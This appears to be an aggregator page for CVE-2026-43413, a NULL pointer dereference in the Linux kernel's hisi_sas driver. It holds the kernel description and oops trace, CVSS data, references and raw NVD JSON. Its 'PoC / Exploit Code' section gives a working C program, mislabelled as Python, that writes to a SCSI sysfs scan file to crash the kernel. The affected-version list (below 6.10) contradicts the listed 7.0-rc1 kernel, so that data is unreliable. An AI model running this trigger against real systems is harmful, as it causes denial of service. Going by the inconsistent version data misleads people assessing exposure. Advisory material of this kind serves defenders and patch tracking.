CVE-2026-43413

Description

In the Linux kernel, the following vulnerability has been resolved: scsi: hisi_sas: Fix NULL pointer exception during user_scan() user_scan() invokes updated sas_user_scan() for channel 0, and if successful, iteratively scans remaining channels (1 to shost->max_channel) via scsi_scan_host_selected() in commit 37c4e72b0651 ("scsi: Fix sas_user_scan() to handle wildcard and multi-channel scans"). However, hisi_sas supports only one channel, and the current value of max_channel is 1. sas_user_scan() for channel 1 will trigger the following NULL pointer exception: [ 441.554662] Unable to handle kernel NULL pointer dereference at virtual address 00000000000008b0 [ 441.554699] Mem abort info: [ 441.554710] ESR = 0x0000000096000004 [ 441.554718] EC = 0x25: DABT (current EL), IL = 32 bits [ 441.554723] SET = 0, FnV = 0 [ 441.554726] EA = 0, S1PTW = 0 [ 441.554730] FSC = 0x04: level 0 translation fault [ 441.554735] Data abort info: [ 441.554737] ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000 [ 441.554742] CM = 0, WnR = 0, TnD = 0, TagAccess = 0 [ 441.554747] GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0 [ 441.554752] user pgtable: 4k pages, 48-bit VAs, pgdp=00000828377a6000 [ 441.554757] [00000000000008b0] pgd=0000000000000000, p4d=0000000000000000 [ 441.554769] Internal error: Oops: 0000000096000004 [#1] SMP [ 441.629589] Modules linked in: arm_spe_pmu arm_smmuv3_pmu tpm_tis_spi hisi_uncore_sllc_pmu hisi_uncore_pa_pmu hisi_uncore_l3c_pmu hisi_uncore_hha_pmu hisi_uncore_ddrc_pmu hisi_uncore_cpa_pmu hns3_pmu hisi_ptt hisi_pcie_pmu tpm_tis_core spidev spi_hisi_sfc_v3xx hisi_uncore_pmu spi_dw_mmio fuse hclge hclge_common hisi_sec2 hisi_hpre hisi_zip hisi_qm hns3 hisi_sas_v3_hw sm3_ce sbsa_gwdt hnae3 hisi_sas_main uacce hisi_dma i2c_hisi dm_mirror dm_region_hash dm_log dm_mod [ 441.670819] CPU: 46 UID: 0 PID: 6994 Comm: bash Kdump: loaded Not tainted 7.0.0-rc2+ #84 PREEMPT [ 441.691327] pstate: 81400009 (Nzcv daif +PAN -UAO -TCO +DIT -SSBS BTYPE=--) [ 441.698277] pc : sas_find_dev_by_rphy+0x44/0x118 [ 441.702896] lr : sas_find_dev_by_rphy+0x3c/0x118 [ 441.707502] sp : ffff80009abbba40 [ 441.710805] x29: ffff80009abbba40 x28: ffff082819a40008 x27: ffff082810c37c08 [ 441.717930] x26: ffff082810c37c28 x25: ffff082819a40290 x24: ffff082810c37c00 [ 441.725054] x23: 0000000000000000 x22: 0000000000000001 x21: ffff082819a40000 [ 441.732179] x20: ffff082819a40290 x19: 0000000000000000 x18: 0000000000000020 [ 441.739304] x17: 0000000000000000 x16: ffffb5dad6bda690 x15: 00000000ffffffff [ 441.746428] x14: ffff082814c3b26c x13: 00000000ffffffff x12: ffff082814c3b26a [ 441.753553] x11: 00000000000000c0 x10: 000000000000003a x9 : ffffb5dad5ea94f4 [ 441.760678] x8 : 000000000000003a x7 : ffff80009abbbab0 x6 : 0000000000000030 [ 441.767802] x5 : 0000000000000000 x4 : 0000000000000000 x3 : 0000000000000000 [ 441.774926] x2 : ffff08280f35a300 x1 : ffffb5dad7127180 x0 : 0000000000000000 [ 441.782053] Call trace: [ 441.784488] sas_find_dev_by_rphy+0x44/0x118 (P) [ 441.789095] sas_target_alloc+0x24/0xb0 [ 441.792920] scsi_alloc_target+0x290/0x330 [ 441.797010] __scsi_scan_target+0x88/0x258 [ 441.801096] scsi_scan_channel+0x74/0xb8 [ 441.805008] scsi_scan_host_selected+0x170/0x188 [ 441.809615] sas_user_scan+0xfc/0x148 [ 441.813267] store_scan+0x10c/0x180 [ 441.816743] dev_attr_store+0x20/0x40 [ 441.820398] sysfs_kf_write+0x84/0xa8 [ 441.824054] kernfs_fop_write_iter+0x130/0x1c8 [ 441.828487] vfs_write+0x2c0/0x370 [ 441.831880] ksys_write+0x74/0x118 [ 441.835271] __arm64_sys_write+0x24/0x38 [ 441.839182] invoke_syscall+0x50/0x120 [ 441.842919] el0_svc_common.constprop.0+0xc8/0xf0 [ 441.847611] do_el0_svc+0x24/0x38 [ 441.850913] el0_svc+0x38/0x158 [ 441.854043] el0t_64_sync_handler+0xa0/0xe8 [ 441.858214] el0t_64_sync+0x1ac/0x1b0 [ 441.861865] Code: aa1303e0 97ff70a8 34ffff80 d10a4273 (f9445a75) [ 441.867946] ---[ end trace 0000000000000000 ]--- Therefore ---truncated---

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE

Linux Kernel < v6.6.31

Linux Kernel < v6.8.10

Linux Kernel < v6.9.1

Linux Kernel < v6.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC for CVE-2026-43413: Trigger NULL pointer dereference in hisi_sas
// Compile: gcc -o poc_exploit poc_exploit.c
// Usage: ./poc_exploit (requires local access and hisi_sas hardware)

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

int main() {
    int fd;
    const char *scan_path = "/sys/class/scsi_host/host0/scan";
    // Command format: <channel> <id> <lun>
    // "1 - -" forces a scan on channel 1, which does not exist on hisi_sas
    const char *trigger_cmd = "1 - -";

    printf("[*] Attempting to trigger CVE-2026-43413...\n");

    fd = open(scan_path, O_WRONLY);
    if (fd < 0) {
        perror("[-] Failed to open scan sysfs entry");
        return 1;
    }

    if (write(fd, trigger_cmd, strlen(trigger_cmd)) < 0) {
        perror("[-] Failed to write trigger command");
    } else {
        printf("[+] Command sent. If vulnerable, the kernel should panic now.\n");
    }

    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43413
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43413
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43413/
[4] VulDB https://vuldb.com/cve/CVE-2026-43413
[5] https://git.kernel.org/stable/c/21a13db8d449b9c7eda4471da7f12417602dbbc7
[6] https://git.kernel.org/stable/c/40119a21d9769bf8fdab5c93c6c878296e628abf
[7] https://git.kernel.org/stable/c/70c78429ef383e35f9c58848994aeeac8083ae35
[8] https://git.kernel.org/stable/c/8ddc0c26916574395447ebf4cff684314f6873a9
[9] https://git.kernel.org/stable/c/beadac156610a4f3bb15cb7bb4b07b6ac06f6567

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43413", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:53.193", "lastModified": "2026-05-21T18:10:24.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: hisi_sas: Fix NULL pointer exception during user_scan()\n\nuser_scan() invokes updated sas_user_scan() for channel 0, and if\nsuccessful, iteratively scans remaining channels (1 to shost->max_channel)\nvia scsi_scan_host_selected() in commit 37c4e72b0651 (\"scsi: Fix\nsas_user_scan() to handle wildcard and multi-channel scans\"). However,\nhisi_sas supports only one channel, and the current value of max_channel is\n1. sas_user_scan() for channel 1 will trigger the following NULL pointer\nexception:\n\n[ 441.554662] Unable to handle kernel NULL pointer dereference at virtual address 00000000000008b0\n[ 441.554699] Mem abort info:\n[ 441.554710] ESR = 0x0000000096000004\n[ 441.554718] EC = 0x25: DABT (current EL), IL = 32 bits\n[ 441.554723] SET = 0, FnV = 0\n[ 441.554726] EA = 0, S1PTW = 0\n[ 441.554730] FSC = 0x04: level 0 translation fault\n[ 441.554735] Data abort info:\n[ 441.554737] ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000\n[ 441.554742] CM = 0, WnR = 0, TnD = 0, TagAccess = 0\n[ 441.554747] GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0\n[ 441.554752] user pgtable: 4k pages, 48-bit VAs, pgdp=00000828377a6000\n[ 441.554757] [00000000000008b0] pgd=0000000000000000, p4d=0000000000000000\n[ 441.554769] Internal error: Oops: 0000000096000004 [#1] SMP\n[ 441.629589] Modules linked in: arm_spe_pmu arm_smmuv3_pmu tpm_tis_spi hisi_uncore_sllc_pmu hisi_uncore_pa_pmu hisi_uncore_l3c_pmu hisi_uncore_hha_pmu hisi_uncore_ddrc_pmu hisi_uncore_cpa_pmu hns3_pmu hisi_ptt hisi_pcie_pmu tpm_tis_core spidev spi_hisi_sfc_v3xx hisi_uncore_pmu spi_dw_mmio fuse hclge hclge_common hisi_sec2 hisi_hpre hisi_zip hisi_qm hns3 hisi_sas_v3_hw sm3_ce sbsa_gwdt hnae3 hisi_sas_main uacce hisi_dma i2c_hisi dm_mirror dm_region_hash dm_log dm_mod\n[ 441.670819] CPU: 46 UID: 0 PID: 6994 Comm: bash Kdump: loaded Not tainted 7.0.0-rc2+ #84 PREEMPT\n[ 441.691327] pstate: 81400009 (Nzcv daif +PAN -UAO -TCO +DIT -SSBS BTYPE=--)\n[ 441.698277] pc : sas_find_dev_by_rphy+0x44/0x118\n[ 441.702896] lr : sas_find_dev_by_rphy+0x3c/0x118\n[ 441.707502] sp : ffff80009abbba40\n[ 441.710805] x29: ffff80009abbba40 x28: ffff082819a40008 x27: ffff082810c37c08\n[ 441.717930] x26: ffff082810c37c28 x25: ffff082819a40290 x24: ffff082810c37c00\n[ 441.725054] x23: 0000000000000000 x22: 0000000000000001 x21: ffff082819a40000\n[ 441.732179] x20: ffff082819a40290 x19: 0000000000000000 x18: 0000000000000020\n[ 441.739304] x17: 0000000000000000 x16: ffffb5dad6bda690 x15: 00000000ffffffff\n[ 441.746428] x14: ffff082814c3b26c x13: 00000000ffffffff x12: ffff082814c3b26a\n[ 441.753553] x11: 00000000000000c0 x10: 000000000000003a x9 : ffffb5dad5ea94f4\n[ 441.760678] x8 : 000000000000003a x7 : ffff80009abbbab0 x6 : 0000000000000030\n[ 441.767802] x5 : 0000000000000000 x4 : 0000000000000000 x3 : 0000000000000000\n[ 441.774926] x2 : ffff08280f35a300 x1 : ffffb5dad7127180 x0 : 0000000000000000\n[ 441.782053] Call trace:\n[ 441.784488] sas_find_dev_by_rphy+0x44/0x118 (P)\n[ 441.789095] sas_target_alloc+0x24/0xb0\n[ 441.792920] scsi_alloc_target+0x290/0x330\n[ 441.797010] __scsi_scan_target+0x88/0x258\n[ 441.801096] scsi_scan_channel+0x74/0xb8\n[ 441.805008] scsi_scan_host_selected+0x170/0x188\n[ 441.809615] sas_user_scan+0xfc/0x148\n[ 441.813267] store_scan+0x10c/0x180\n[ 441.816743] dev_attr_store+0x20/0x40\n[ 441.820398] sysfs_kf_write+0x84/0xa8\n[ 441.824054] kernfs_fop_write_iter+0x130/0x1c8\n[ 441.828487] vfs_write+0x2c0/0x370\n[ 441.831880] ksys_write+0x74/0x118\n[ 441.835271] __arm64_sys_write+0x24/0x38\n[ 441.839182] invoke_syscall+0x50/0x120\n[ 441.842919] el0_svc_common.constprop.0+0xc8/0xf0\n[ 441.847611] do_el0_svc+0x24/0x38\n[ 441.850913] el0_svc+0x38/0x158\n[ 441.854043] el0t_64_sync_handler+0xa0/0xe8\n[ 441.858214] el0t_64_sync+0x1ac/0x1b0\n[ 441.861865] Code: aa1303e0 97ff70a8 34ffff80 d10a4273 (f9445a75)\n[ 441.867946] ---[ end trace 0000000000000000 ]---\n\nTherefore\n---truncated---"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, ... (truncated)